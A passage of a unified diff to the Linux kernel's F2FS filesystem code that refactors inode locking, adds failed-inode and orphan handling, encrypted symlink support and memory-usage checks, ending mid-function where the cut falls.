update_inode_page(inode); - mutex_unlock_op(sbi, ilock); - return ret; + update_inode_page(inode); + + f2fs_balance_fs(sbi); + return 0; } /* @@ -242,34 +310,122 @@ int f2fs_write_inode(struct inode *inode, struct writeback_control *wbc) */ void f2fs_evict_inode(struct inode *inode) { - struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); - int ilock; + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + struct f2fs_inode_info *fi = F2FS_I(inode); + nid_t xnid = fi->i_xattr_nid; + int err = 0; + + /* some remained atomic pages should discarded */ + if (f2fs_is_atomic_file(inode)) + commit_inmem_pages(inode, true); trace_f2fs_evict_inode(inode); truncate_inode_pages(&inode->i_data, 0); if (inode->i_ino == F2FS_NODE_INO(sbi) || inode->i_ino == F2FS_META_INO(sbi)) - goto no_delete; + goto out_clear; - BUG_ON(atomic_read(&F2FS_I(inode)->dirty_dents)); + f2fs_bug_on(sbi, get_dirty_pages(inode)); remove_dirty_dir_inode(inode); + f2fs_destroy_extent_tree(inode); + if (inode->i_nlink || is_bad_inode(inode)) goto no_delete; sb_start_intwrite(inode->i_sb); - set_inode_flag(F2FS_I(inode), FI_NO_ALLOC); + set_inode_flag(fi, FI_NO_ALLOC); i_size_write(inode, 0); if (F2FS_HAS_BLOCKS(inode)) - f2fs_truncate(inode); + err = f2fs_truncate(inode, true); - ilock = mutex_lock_op(sbi); - remove_inode_page(inode); - mutex_unlock_op(sbi, ilock); + if (!err) { + f2fs_lock_op(sbi); + err = remove_inode_page(inode); + f2fs_unlock_op(sbi); + } sb_end_intwrite(inode->i_sb); no_delete: + stat_dec_inline_xattr(inode); + stat_dec_inline_dir(inode); + stat_dec_inline_inode(inode); + + invalidate_mapping_pages(NODE_MAPPING(sbi), inode->i_ino, inode->i_ino); + if (xnid) + invalidate_mapping_pages(NODE_MAPPING(sbi), xnid, xnid); + if (is_inode_flag_set(fi, FI_APPEND_WRITE)) + add_dirty_inode(sbi, inode->i_ino, APPEND_INO); + if (is_inode_flag_set(fi, FI_UPDATE_WRITE)) + add_dirty_inode(sbi, inode->i_ino, UPDATE_INO); + if (is_inode_flag_set(fi, FI_FREE_NID)) { + if (err && err != -ENOENT) + alloc_nid_done(sbi, inode->i_ino); + else + alloc_nid_failed(sbi, inode->i_ino); + clear_inode_flag(fi, FI_FREE_NID); + } + + if (err && err != -ENOENT) { + if (!exist_written_data(sbi, inode->i_ino, ORPHAN_INO)) { + /* + * get here because we failed to release resource + * of inode previously, reminder our user to run fsck + * for fixing. + */ + set_sbi_flag(sbi, SBI_NEED_FSCK); + f2fs_msg(sbi->sb, KERN_WARNING, + "inode (ino:%lu) resource leak, run fsck " + "to fix this issue!", inode->i_ino); + } + } +out_clear: +#ifdef CONFIG_F2FS_FS_ENCRYPTION + if (fi->i_crypt_info) + f2fs_free_encryption_info(inode, fi->i_crypt_info); +#endif clear_inode(inode); } + +/* caller should call f2fs_lock_op() */ +void handle_failed_inode(struct inode *inode) +{ + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + int err = 0; + + clear_nlink(inode); + make_bad_inode(inode); + unlock_new_inode(inode); + + i_size_write(inode, 0); + if (F2FS_HAS_BLOCKS(inode)) + err = f2fs_truncate(inode, false); + + if (!err) + err = remove_inode_page(inode); + + /* + * if we skip truncate_node in remove_inode_page bacause we failed + * before, it's better to find another way to release resource of + * this inode (e.g. valid block count, node block or nid). Here we + * choose to add this inode to orphan list, so that we can call iput + * for releasing in orphan recovery flow. + * + * Note: we should add inode to orphan list before f2fs_unlock_op() + * so we can prevent losing this orphan when encoutering checkpoint + * and following suddenly power-off. + */ + if (err && err != -ENOENT) { + err = acquire_orphan_inode(sbi); + if (!err) + add_orphan_inode(sbi, inode->i_ino); + } + + set_inode_flag(F2FS_I(inode), FI_FREE_NID); + f2fs_unlock_op(sbi); + + /* iput will drop the inode object */ + iput(inode); +} diff --git a/fs/f2fs/namei.c b/fs/f2fs/namei.c index 47abc9722b17a..336d43d9cff89 100644 --- a/fs/f2fs/namei.c +++ b/fs/f2fs/namei.c @@ -9,10 +9,13 @@ * published by the Free Software Foundation. */ #include +#include #include #include #include #include +#include +#include #include "f2fs.h" #include "node.h" @@ -22,37 +25,27 @@ static struct inode *f2fs_new_inode(struct inode *dir, umode_t mode) { - struct super_block *sb = dir->i_sb; - struct f2fs_sb_info *sbi = F2FS_SB(sb); + struct f2fs_sb_info *sbi = F2FS_I_SB(dir); nid_t ino; struct inode *inode; bool nid_free = false; - int err, ilock; + int err; - inode = new_inode(sb); + inode = new_inode(dir->i_sb); if (!inode) return ERR_PTR(-ENOMEM); - ilock = mutex_lock_op(sbi); + f2fs_lock_op(sbi); if (!alloc_nid(sbi, &ino)) { - mutex_unlock_op(sbi, ilock); + f2fs_unlock_op(sbi); err = -ENOSPC; goto fail; } - mutex_unlock_op(sbi, ilock); + f2fs_unlock_op(sbi); - inode->i_uid = current_fsuid(); - - if (dir->i_mode & S_ISGID) { - inode->i_gid = dir->i_gid; - if (S_ISDIR(mode)) - mode |= S_ISGID; - } else { - inode->i_gid = current_fsgid(); - } + inode_init_owner(inode, dir, mode); inode->i_ino = ino; - inode->i_mode = mode; inode->i_blocks = 0; inode->i_mtime = inode->i_atime = inode->i_ctime = CURRENT_TIME; inode->i_generation = sbi->s_next_generation++; @@ -61,21 +54,34 @@ static struct inode *f2fs_new_inode(struct inode *dir, umode_t mode) if (err) { err = -EINVAL; nid_free = true; - goto out; + goto fail; } + + /* If the directory encrypted, then we should encrypt the inode. */ + if (f2fs_encrypted_inode(dir) && f2fs_may_encrypt(inode)) + f2fs_set_encrypted_inode(inode); + + if (f2fs_may_inline_data(inode)) + set_inode_flag(F2FS_I(inode), FI_INLINE_DATA); + if (f2fs_may_inline_dentry(inode)) + set_inode_flag(F2FS_I(inode), FI_INLINE_DENTRY); + + f2fs_init_extent_tree(inode, NULL); + + stat_inc_inline_xattr(inode); + stat_inc_inline_inode(inode); + stat_inc_inline_dir(inode); + trace_f2fs_new_inode(inode, 0); mark_inode_dirty(inode); return inode; -out: - clear_nlink(inode); - unlock_new_inode(inode); fail: trace_f2fs_new_inode(inode, err); make_bad_inode(inode); - iput(inode); if (nid_free) - alloc_nid_failed(sbi, ino); + set_inode_flag(F2FS_I(inode), FI_FREE_NID); + iput(inode); return ERR_PTR(err); } @@ -83,21 +89,18 @@ static int is_multimedia_file(const unsigned char *s, const char *sub) { size_t slen = strlen(s); size_t sublen = strlen(sub); - int ret; - if (sublen > slen) + /* + * filename format of multimedia file should be defined as: + * "filename + '.' + extension". + */ + if (slen < sublen + 2) return 0; - ret = memcmp(s + slen - sublen, sub, sublen); - if (ret) { /* compare upper case */ - int i; - char upper_sub[8]; - for (i = 0; i < sublen && i < sizeof(upper_sub); i++) - upper_sub[i] = toupper(sub[i]); - return !memcmp(s + slen - sublen, upper_sub, sublen); - } + if (s[slen - sublen - 1] != '.') + return 0; - return !ret; + return !strncasecmp(s + slen - sublen, sub, sublen); } /* @@ -112,7 +115,7 @@ static inline void set_cold_files(struct f2fs_sb_info *sbi, struct inode *inode, int count = le32_to_cpu(sbi->raw_super->extension_count); for (i = 0; i < count; i++) { if (is_multimedia_file(name, extlist[i])) { - set_cold_file(inode); + file_set_cold(inode); break; } } @@ -121,11 +124,10 @@ static inline void set_cold_files(struct f2fs_sb_info *sbi, struct inode *inode, static int f2fs_create(struct inode *dir, struct dentry *dentry, umode_t mode, bool excl) { - struct super_block *sb = dir->i_sb; - struct f2fs_sb_info *sbi = F2FS_SB(sb); + struct f2fs_sb_info *sbi = F2FS_I_SB(dir); struct inode *inode; nid_t ino = 0; - int err, ilock; + int err; f2fs_balance_fs(sbi); @@ -141,24 +143,22 @@ static int f2fs_create(struct inode *dir, struct dentry *dentry, umode_t mode, inode->i_mapping->a_ops = &f2fs_dblock_aops; ino = inode->i_ino; - ilock = mutex_lock_op(sbi); + f2fs_lock_op(sbi); err = f2fs_add_link(dentry, inode); - mutex_unlock_op(sbi, ilock); if (err) goto out; + f2fs_unlock_op(sbi); alloc_nid_done(sbi, ino); - if (!sbi->por_doing) - d_instantiate(dentry, inode); + d_instantiate(dentry, inode); unlock_new_inode(inode); + + if (IS_DIRSYNC(dir)) + f2fs_sync_fs(sbi->sb, 1); return 0; out: - clear_nlink(inode); - unlock_new_inode(inode); - make_bad_inode(inode); - iput(inode); - alloc_nid_failed(sbi, ino); + handle_failed_inode(inode); return err; } @@ -166,34 +166,34 @@ static int f2fs_link(struct dentry *old_dentry, struct inode *dir, struct dentry *dentry) { struct inode *inode = old_dentry->d_inode; - struct super_block *sb = dir->i_sb; - struct f2fs_sb_info *sbi = F2FS_SB(sb); - int err, ilock; + struct f2fs_sb_info *sbi = F2FS_I_SB(dir); + int err; + + if (f2fs_encrypted_inode(dir) && + !f2fs_is_child_context_consistent_with_parent(dir, inode)) + return -EPERM; f2fs_balance_fs(sbi); inode->i_ctime = CURRENT_TIME; - atomic_inc(&inode->i_count); + ihold(inode); set_inode_flag(F2FS_I(inode), FI_INC_LINK); - ilock = mutex_lock_op(sbi); + f2fs_lock_op(sbi); err = f2fs_add_link(dentry, inode); - mutex_unlock_op(sbi, ilock); if (err) goto out; - - /* - * This file should be checkpointed during fsync. - * We lost i_pino from now on. - */ - set_cp_file(inode); + f2fs_unlock_op(sbi); d_instantiate(dentry, inode); + + if (IS_DIRSYNC(dir)) + f2fs_sync_fs(sbi->sb, 1); return 0; out: clear_inode_flag(F2FS_I(inode), FI_INC_LINK); - make_bad_inode(inode); iput(inode); + f2fs_unlock_op(sbi); return err; } @@ -206,39 +206,87 @@ struct dentry *f2fs_get_parent(struct dentry *child) return d_obtain_alias(f2fs_iget(child->d_inode->i_sb, ino)); } +static int __recover_dot_dentries(struct inode *dir, nid_t pino) +{ + struct f2fs_sb_info *sbi = F2FS_I_SB(dir); + struct qstr dot = {.len = 1, .name = "."}; + struct qstr dotdot = {.len = 2, .name = ".."}; + struct f2fs_dir_entry *de; + struct page *page; + int err = 0; + + f2fs_lock_op(sbi); + + de = f2fs_find_entry(dir, &dot, &page); + if (de) { + f2fs_dentry_kunmap(dir, page); + f2fs_put_page(page, 0); + } else { + err = __f2fs_add_link(dir, &dot, NULL, dir->i_ino, S_IFDIR); + if (err) + goto out; + } + + de = f2fs_find_entry(dir, &dotdot, &page); + if (de) { + f2fs_dentry_kunmap(dir, page); + f2fs_put_page(page, 0); + } else { + err = __f2fs_add_link(dir, &dotdot, NULL, pino, S_IFDIR); + } +out: + if (!err) { + clear_inode_flag(F2FS_I(dir), FI_INLINE_DOTS); + mark_inode_dirty(dir); + } + + f2fs_unlock_op(sbi); + return err; +} + static struct dentry *f2fs_lookup(struct inode *dir, struct dentry *dentry, unsigned int flags) { struct inode *inode = NULL; struct f2fs_dir_entry *de; struct page *page; + nid_t ino; + int err = 0; if (dentry->d_name.len > F2FS_NAME_LEN) return ERR_PTR(-ENAMETOOLONG); de = f2fs_find_entry(dir, &dentry->d_name, &page); - if (de) { - nid_t ino = le32_to_cpu(de->ino); - kunmap(page); - f2fs_put_page(page, 0); + if (!de) + return d_splice_alias(inode, dentry); - inode = f2fs_iget(dir->i_sb, ino); - if (IS_ERR(inode)) - return ERR_CAST(inode); - } + ino = le32_to_cpu(de->ino); + f2fs_dentry_kunmap(dir, page); + f2fs_put_page(page, 0); + + inode = f2fs_iget(dir->i_sb, ino); + if (IS_ERR(inode)) + return ERR_CAST(inode); + if (f2fs_has_inline_dots(inode)) { + err = __recover_dot_dentries(inode, dir->i_ino); + if (err) + goto err_out; + } return d_splice_alias(inode, dentry); + +err_out: + iget_failed(inode); + return ERR_PTR(err); } static int f2fs_unlink(struct inode *dir, struct dentry *dentry) { - struct super_block *sb = dir->i_sb; - struct f2fs_sb_info *sbi = F2FS_SB(sb); + struct f2fs_sb_info *sbi = F2FS_I_SB(dir); struct inode *inode = dentry->d_inode; struct f2fs_dir_entry *de; struct page *page; int err = -ENOENT; - int ilock; trace_f2fs_unlink_enter(dir, dentry); f2fs_balance_fs(sbi); @@ -247,32 +295,58 @@ static int f2fs_unlink(struct inode *dir, struct dentry *dentry) if (!de) goto fail; - err = check_orphan_space(sbi); + f2fs_lock_op(sbi); + err = acquire_orphan_inode(sbi); if (err) { - kunmap(page); + f2fs_unlock_op(sbi); + f2fs_dentry_kunmap(dir, page); f2fs_put_page(page, 0); goto fail; } + f2fs_delete_entry(de, page, dir, inode); + f2fs_unlock_op(sbi); - ilock = mutex_lock_op(sbi); - f2fs_delete_entry(de, page, inode); - mutex_unlock_op(sbi, ilock); - - /* In order to evict this inode, we set it dirty */ + /* In order to evict this inode, we set it dirty */ mark_inode_dirty(inode); + + if (IS_DIRSYNC(dir)) + f2fs_sync_fs(sbi->sb, 1); fail: trace_f2fs_unlink_exit(inode, err); return err; } +static void *f2fs_follow_link(struct dentry *dentry, struct nameidata *nd) +{ + struct page *page; + + page = page_follow_link_light(dentry, nd); + if (IS_ERR(page)) + return page; + + /* this is broken symlink case */ + if (*nd_get_link(nd) == 0) { + kunmap(page); + page_cache_release(page); + return ERR_PTR(-ENOENT); + } + return page; +} + static int f2fs_symlink(struct inode *dir, struct dentry *dentry, const char *symname) { - struct super_block *sb = dir->i_sb; - struct f2fs_sb_info *sbi = F2FS_SB(sb); + struct f2fs_sb_info *sbi = F2FS_I_SB(dir); struct inode *inode; - size_t symlen = strlen(symname) + 1; - int err, ilock; + size_t len = strlen(symname); + size_t p_len; + char *p_str; + struct f2fs_str disk_link = FSTR_INIT(NULL, 0); + struct f2fs_encrypted_symlink_data *sd = NULL; + int err; + + if (len > dir->i_sb->s_blocksize) + return -ENAMETOOLONG; f2fs_balance_fs(sbi); @@ -280,35 +354,91 @@ static int f2fs_symlink(struct inode *dir, struct dentry *dentry, if (IS_ERR(inode)) return PTR_ERR(inode); - inode->i_op = &f2fs_symlink_inode_operations; + if (f2fs_encrypted_inode(inode)) + inode->i_op = &f2fs_encrypted_symlink_inode_operations; + else + inode->i_op = &f2fs_symlink_inode_operations; inode->i_mapping->a_ops = &f2fs_dblock_aops; - ilock = mutex_lock_op(sbi); + f2fs_lock_op(sbi); err = f2fs_add_link(dentry, inode); - mutex_unlock_op(sbi, ilock); if (err) goto out; - - err = page_symlink(inode, symname, symlen); + f2fs_unlock_op(sbi); alloc_nid_done(sbi, inode->i_ino); + if (f2fs_encrypted_inode(dir)) { + struct qstr istr = QSTR_INIT(symname, len); + + err = f2fs_get_encryption_info(inode); + if (err) + goto err_out; + + err = f2fs_fname_crypto_alloc_buffer(inode, len, &disk_link); + if (err) + goto err_out; + + err = f2fs_fname_usr_to_disk(inode, &istr, &disk_link); + if (err < 0) + goto err_out; + + p_len = encrypted_symlink_data_len(disk_link.len) + 1; + + if (p_len > dir->i_sb->s_blocksize) { + err = -ENAMETOOLONG; + goto err_out; + } + + sd = kzalloc(p_len, GFP_NOFS); + if (!sd) { + err = -ENOMEM; + goto err_out; + } + memcpy(sd->encrypted_path, disk_link.name, disk_link.len); + sd->len = cpu_to_le16(disk_link.len); + p_str = (char *)sd; + } else { + p_len = len + 1; + p_str = (char *)symname; + } + + err = page_symlink(inode, p_str, p_len); + +err_out: d_instantiate(dentry, inode); unlock_new_inode(inode); + + /* + * Let's flush symlink data in order to avoid broken symlink as much as + * possible. Nevertheless, fsyncing is the best way, but there is no + * way to get a file descriptor in order to flush that. + * + * Note that, it needs to do dir->fsync to make this recoverable. + * If the symlink path is stored into inline_data, there is no + * performance regression. + */ + if (!err) { + filemap_write_and_wait_range(inode->i_mapping, 0, p_len - 1); + + if (IS_DIRSYNC(dir)) + f2fs_sync_fs(sbi->sb, 1); + } else { + f2fs_unlink(dir, dentry); + } + + kfree(sd); + f2fs_fname_crypto_free_buffer(&disk_link); return err; out: - clear_nlink(inode); - unlock_new_inode(inode); - make_bad_inode(inode); - iput(inode); - alloc_nid_failed(sbi, inode->i_ino); + handle_failed_inode(inode); return err; } static int f2fs_mkdir(struct inode *dir, struct dentry *dentry, umode_t mode) { - struct f2fs_sb_info *sbi = F2FS_SB(dir->i_sb); + struct f2fs_sb_info *sbi = F2FS_I_SB(dir); struct inode *inode; - int err, ilock; + int err; f2fs_balance_fs(sbi); @@ -319,29 +449,27 @@ static int f2fs_mkdir(struct inode *dir, struct dentry *dentry, umode_t mode) inode->i_op = &f2fs_dir_inode_operations; inode->i_fop = &f2fs_dir_operations; inode->i_mapping->a_ops = &f2fs_dblock_aops; - mapping_set_gfp_mask(inode->i_mapping, GFP_F2FS_ZERO); + mapping_set_gfp_mask(inode->i_mapping, GFP_F2FS_HIGH_ZERO); set_inode_flag(F2FS_I(inode), FI_INC_LINK); - ilock = mutex_lock_op(sbi); + f2fs_lock_op(sbi); err = f2fs_add_link(dentry, inode); - mutex_unlock_op(sbi, ilock); if (err) goto out_fail; + f2fs_unlock_op(sbi); alloc_nid_done(sbi, inode->i_ino); d_instantiate(dentry, inode); unlock_new_inode(inode); + if (IS_DIRSYNC(dir)) + f2fs_sync_fs(sbi->sb, 1); return 0; out_fail: clear_inode_flag(F2FS_I(inode), FI_INC_LINK); - clear_nlink(inode); - unlock_new_inode(inode); - make_bad_inode(inode); - iput(inode); - alloc_nid_failed(sbi, inode->i_ino); + handle_failed_inode(inode); return err; } @@ -356,11 +484,9 @@ static int f2fs_rmdir(struct inode *dir, struct dentry *dentry) static int f2fs_mknod(struct inode *dir, struct dentry *dentry, umode_t mode, dev_t rdev) { - struct super_block *sb = dir->i_sb; - struct f2fs_sb_info *sbi = F2FS_SB(sb); + struct f2fs_sb_info *sbi = F2FS_I_SB(dir); struct inode *inode; int err = 0; - int ilock; if (!new_valid_dev(rdev)) return -EINVAL; @@ -374,38 +500,44 @@ static int f2fs_mknod(struct inode *dir, struct dentry *dentry, init_special_inode(inode, inode->i_mode, rdev); inode->i_op = &f2fs_special_inode_operations; - ilock = mutex_lock_op(sbi); + f2fs_lock_op(sbi); err = f2fs_add_link(dentry, inode); - mutex_unlock_op(sbi, ilock); if (err) goto out; + f2fs_unlock_op(sbi); alloc_nid_done(sbi, inode->i_ino); + d_instantiate(dentry, inode); unlock_new_inode(inode); + + if (IS_DIRSYNC(dir)) + f2fs_sync_fs(sbi->sb, 1); return 0; out: - clear_nlink(inode); - unlock_new_inode(inode); - make_bad_inode(inode); - iput(inode); - alloc_nid_failed(sbi, inode->i_ino); + handle_failed_inode(inode); return err; } static int f2fs_rename(struct inode *old_dir, struct dentry *old_dentry, struct inode *new_dir, struct dentry *new_dentry) { - struct super_block *sb = old_dir->i_sb; - struct f2fs_sb_info *sbi = F2FS_SB(sb); + struct f2fs_sb_info *sbi = F2FS_I_SB(old_dir); struct inode *old_inode = old_dentry->d_inode; struct inode *new_inode = new_dentry->d_inode; struct page *old_dir_page; - struct page *old_page; + struct page *old_page, *new_page; struct f2fs_dir_entry *old_dir_entry = NULL; struct f2fs_dir_entry *old_entry; struct f2fs_dir_entry *new_entry; - int err = -ENOENT, ilock = -1; + int err = -ENOENT; + + if ((old_dir != new_dir) && f2fs_encrypted_inode(new_dir) && + !f2fs_is_child_context_consistent_with_parent(new_dir, + old_inode)) { + err = -EPERM; + goto out; + } f2fs_balance_fs(sbi); @@ -420,10 +552,7 @@ static int f2fs_rename(struct inode *old_dir, struct dentry *old_dentry, goto out_old; } - ilock = mutex_lock_op(sbi); - if (new_inode) { - struct page *new_page; err = -ENOTEMPTY; if (old_dir_entry && !f2fs_empty_dir(new_inode)) @@ -435,19 +564,44 @@ static int f2fs_rename(struct inode *old_dir, struct dentry *old_dentry, if (!new_entry) goto out_dir; + f2fs_lock_op(sbi); + + err = acquire_orphan_inode(sbi); + if (err) + goto put_out_dir; + + if (update_dent_inode(old_inode, new_inode, + &new_dentry->d_name)) { + release_orphan_inode(sbi); + goto put_out_dir; + } + f2fs_set_link(new_dir, new_entry, new_page, old_inode); new_inode->i_ctime = CURRENT_TIME; + down_write(&F2FS_I(new_inode)->i_sem); if (old_dir_entry) drop_nlink(new_inode); drop_nlink(new_inode); + up_write(&F2FS_I(new_inode)->i_sem); + + mark_inode_dirty(new_inode); + if (!new_inode->i_nlink) add_orphan_inode(sbi, new_inode->i_ino); + else + release_orphan_inode(sbi); + + update_inode_page(old_inode); update_inode_page(new_inode); } else { + f2fs_lock_op(sbi); + err = f2fs_add_link(new_dentry, old_inode); - if (err) + if (err) { + f2fs_unlock_op(sbi); goto out_dir; + } if (old_dir_entry) { inc_nlink(new_dir); @@ -455,39 +609,147 @@ static int f2fs_rename(struct inode *old_dir, struct dentry *old_dentry, } } + down_write(&F2FS_I(old_inode)->i_sem); + file_lost_pino(old_inode); + if (new_inode && file_enc_name(new_inode)) + file_set_enc_name(old_inode); + up_write(&F2FS_I(old_inode)->i_sem); + old_inode->i_ctime = CURRENT_TIME; mark_inode_dirty(old_inode); - f2fs_delete_entry(old_entry, old_page, NULL); + f2fs_delete_entry(old_entry, old_page, old_dir, NULL); if (old_dir_entry) { if (old_dir != new_dir) { f2fs_set_link(old_inode, old_dir_entry, old_dir_page, new_dir); + update_inode_page(old_inode); } else { - kunmap(old_dir_page); + f2fs_dentry_kunmap(old_inode, old_dir_page); f2fs_put_page(old_dir_page, 0); } drop_nlink(old_dir); + mark_inode_dirty(old_dir); update_inode_page(old_dir); } - mutex_unlock_op(sbi, ilock); + f2fs_unlock_op(sbi); + + if (IS_DIRSYNC(old_dir) || IS_DIRSYNC(new_dir)) + f2fs_sync_fs(sbi->sb, 1); return 0; +put_out_dir: + f2fs_unlock_op(sbi); + f2fs_dentry_kunmap(new_dir, new_page); + f2fs_put_page(new_page, 0); out_dir: if (old_dir_entry) { - kunmap(old_dir_page); + f2fs_dentry_kunmap(old_inode, old_dir_page); f2fs_put_page(old_dir_page, 0); } - mutex_unlock_op(sbi, ilock); out_old: - kunmap(old_page); + f2fs_dentry_kunmap(old_dir, old_page); f2fs_put_page(old_page, 0); out: return err; } +#ifdef CONFIG_F2FS_FS_ENCRYPTION +static void *f2fs_encrypted_follow_link(struct dentry *dentry, + struct nameidata *nd) +{ + struct page *cpage = NULL; + char *caddr, *paddr = NULL; + struct f2fs_str cstr; + struct f2fs_str pstr = FSTR_INIT(NULL, 0); + struct inode *inode = dentry->d_inode; + struct f2fs_encrypted_symlink_data *sd; + loff_t size = min_t(loff_t, i_size_read(inode), PAGE_SIZE - 1); + u32 max_size = inode->i_sb->s_blocksize; + int res; + + res = f2fs_get_encryption_info(inode); + if (res) + return ERR_PTR(res); + + cpage = read_mapping_page(inode->i_mapping, 0, NULL); + if (IS_ERR(cpage)) + return cpage; + caddr = kmap(cpage); + caddr[size] = 0; + + /* Symlink is encrypted */ + sd = (struct f2fs_encrypted_symlink_data *)caddr; + cstr.len = le16_to_cpu(sd->len); + cstr.name = kmalloc(cstr.len, GFP_NOFS); + if (!cstr.name) { + res = -ENOMEM; + goto errout; + } + memcpy(cstr.name, sd->encrypted_path, cstr.len); + + /* this is broken symlink case */ + if (cstr.name[0] == 0 && cstr.len == 0) { + res = -ENOENT; + goto errout; + } + + if ((cstr.len + sizeof(struct f2fs_encrypted_symlink_data) - 1) > + max_size) { + /* Symlink data on the disk is corrupted */ + res = -EIO; + goto errout; + } + res = f2fs_fname_crypto_alloc_buffer(inode, cstr.len, &pstr); + if (res) + goto errout; + + res = f2fs_fname_disk_to_usr(inode, NULL, &cstr, &pstr); + if (res < 0) + goto errout; + + kfree(cstr.name); + + paddr = pstr.name; + + /* Null-terminate the name */ + paddr[res] = '\0'; + nd_set_link(nd, paddr); + + kunmap(cpage); + page_cache_release(cpage); + return NULL; +errout: + kfree(cstr.name); + f2fs_fname_crypto_free_buffer(&pstr); + kunmap(cpage); + page_cache_release(cpage); + return ERR_PTR(res); +} + +void kfree_put_link(struct dentry *dentry, struct nameidata *nd, + void *cookie) +{ + char *s = nd_get_link(nd); + if (!IS_ERR(s)) + kfree(s); +} + +const struct inode_operations f2fs_encrypted_symlink_inode_operations = { + .readlink = generic_readlink, + .follow_link = f2fs_encrypted_follow_link, + .put_link = kfree_put_link, + .getattr = f2fs_getattr, + .setattr = f2fs_setattr, + .setxattr = generic_setxattr, + .getxattr = generic_getxattr, + .listxattr = f2fs_listxattr, + .removexattr = generic_removexattr, +}; +#endif + const struct inode_operations f2fs_dir_inode_operations = { .create = f2fs_create, .lookup = f2fs_lookup, @@ -498,6 +760,7 @@ const struct inode_operations f2fs_dir_inode_operations = { .rmdir = f2fs_rmdir, .mknod = f2fs_mknod, .rename = f2fs_rename, + .getattr = f2fs_getattr, .setattr = f2fs_setattr, .get_acl = f2fs_get_acl, #ifdef CONFIG_F2FS_FS_XATTR @@ -510,8 +773,9 @@ const struct inode_operations f2fs_dir_inode_operations = { const struct inode_operations f2fs_symlink_inode_operations = { .readlink = generic_readlink, - .follow_link = page_follow_link_light, + .follow_link = f2fs_follow_link, .put_link = page_put_link, + .getattr = f2fs_getattr, .setattr = f2fs_setattr, #ifdef CONFIG_F2FS_FS_XATTR .setxattr = generic_setxattr, @@ -522,6 +786,7 @@ const struct inode_operations f2fs_symlink_inode_operations = { }; const struct inode_operations f2fs_special_inode_operations = { + .getattr = f2fs_getattr, .setattr = f2fs_setattr, .get_acl = f2fs_get_acl, #ifdef CONFIG_F2FS_FS_XATTR diff --git a/fs/f2fs/node.c b/fs/f2fs/node.c index 3df43b4efd89e..413d7724bdf93 100644 --- a/fs/f2fs/node.c +++ b/fs/f2fs/node.c @@ -19,15 +19,66 @@ #include "f2fs.h" #include "node.h" #include "segment.h" +#include "trace.h" #include +#define on_build_free_nids(nmi) mutex_is_locked(&nm_i->build_lock) + static struct kmem_cache *nat_entry_slab; static struct kmem_cache *free_nid_slab; +static struct kmem_cache *nat_entry_set_slab; + +bool available_free_memory(struct f2fs_sb_info *sbi, int type) +{ + struct f2fs_nm_info *nm_i = NM_I(sbi); + struct sysinfo val; + unsigned long avail_ram; + unsigned long mem_size = 0; + bool res = false; + + si_meminfo(&val); + + /* only uses low memory */ + avail_ram = val.totalram - val.totalhigh; + + /* + * give 25%, 25%, 50%, 50%, 50% memory for each components respectively + */ + if (type == FREE_NIDS) { + mem_size = (nm_i->fcnt * sizeof(struct free_nid)) >> + PAGE_CACHE_SHIFT; + res = mem_size < ((avail_ram * nm_i->ram_thresh / 100) >> 2); + } else if (type == NAT_ENTRIES) { + mem_size = (nm_i->nat_cnt * sizeof(struct nat_entry)) >> + PAGE_CACHE_SHIFT; + res = mem_size < ((avail_ram * nm_i->ram_thresh / 100) >> 2); + } else if (type == DIRTY_DENTS) { + if (sbi->sb->s_bdi->dirty_exceeded) + return false; + mem_size = get_pages(sbi, F2FS_DIRTY_DENTS); + res = mem_size < ((avail_ram * nm_i->ram_thresh / 100) >> 1); + } else if (type == INO_ENTRIES) { + int i; + + for (i = 0; i <= UPDATE_INO; i++) + mem_size += (sbi->im[i].ino_num * + sizeof(struct ino_entry)) >> PAGE_CACHE_SHIFT; + res = mem_size < ((avail_ram * nm_i->ram_thresh / 100) >> 1); + } else if (type == EXTENT_CACHE) { + mem_size = (sbi->total_ext_tree * sizeof(struct extent_tree) + + atomic_read(&sbi->total_ext_node) * + sizeof(struct extent_node)) >> PAGE_CACHE_SHIFT; + res = mem_size < ((avail_ram * nm_i->ram_thresh / 100) >> 1); + } else { + if (sbi->sb->s_bdi->dirty_exceeded) + return false; + } + return res; +} static void clear_node_page_dirty(struct page *page) { struct address_space *mapping = page->mapping; - struct f2fs_sb_info *sbi = F2FS_SB(mapping->host->i_sb); unsigned int long flags; if (PageDirty(page)) { @@ -38,7 +89,7 @@ static void clear_node_page_dirty(struct page *page) spin_unlock_irqrestore(&mapping->tree_lock, flags); clear_page_dirty_for_io(page); - dec_page_count(sbi, F2FS_DIRTY_NODES); + dec_page_count(F2FS_M_SB(mapping), F2FS_DIRTY_NODES); } ClearPageUptodate(page); } @@ -64,12 +115,8 @@ static struct page *get_next_nat_page(struct f2fs_sb_info *sbi, nid_t nid) /* get current nat block page with lock */ src_page = get_meta_page(sbi, src_off); - - /* Dirty src_page means that it is already the new target NAT page. */ - if (PageDirty(src_page)) - return src_page; - dst_page = grab_meta_page(sbi, dst_off); + f2fs_bug_on(sbi, PageDirty(src_page)); src_addr = page_address(src_page); dst_addr = page_address(dst_page); @@ -82,40 +129,6 @@ static struct page *get_next_nat_page(struct f2fs_sb_info *sbi, nid_t nid) return dst_page; } -/* - * Readahead NAT pages - */ -static void ra_nat_pages(struct f2fs_sb_info *sbi, int nid) -{ - struct address_space *mapping = sbi->meta_inode->i_mapping; - struct f2fs_nm_info *nm_i = NM_I(sbi); - struct blk_plug plug; - struct page *page; - pgoff_t index; - int i; - - blk_start_plug(&plug); - - for (i = 0; i < FREE_NID_PAGES; i++, nid += NAT_ENTRY_PER_BLOCK) { - if (nid >= nm_i->max_nid) - nid = 0; - index = current_nat_addr(sbi, nid); - - page = grab_cache_page(mapping, index); - if (!page) - continue; - if (PageUptodate(page)) { - f2fs_put_page(page, 1); - continue; - } - if (f2fs_readpage(sbi, page, index, READ)) - continue; - - f2fs_put_page(page, 0); - } - blk_finish_plug(&plug); -} - static struct nat_entry *__lookup_nat_cache(struct f2fs_nm_info *nm_i, nid_t n) { return radix_tree_lookup(&nm_i->nat_root, n); @@ -135,33 +148,109 @@ static void __del_from_nat_cache(struct f2fs_nm_info *nm_i, struct nat_entry *e) kmem_cache_free(nat_entry_slab, e); } -int is_checkpointed_node(struct f2fs_sb_info *sbi, nid_t nid) +static void __set_nat_cache_dirty(struct f2fs_nm_info *nm_i, + struct nat_entry *ne) +{ + nid_t set = NAT_BLOCK_OFFSET(ne->ni.nid); + struct nat_entry_set *head; + + if (get_nat_flag(ne, IS_DIRTY)) + return; + + head = 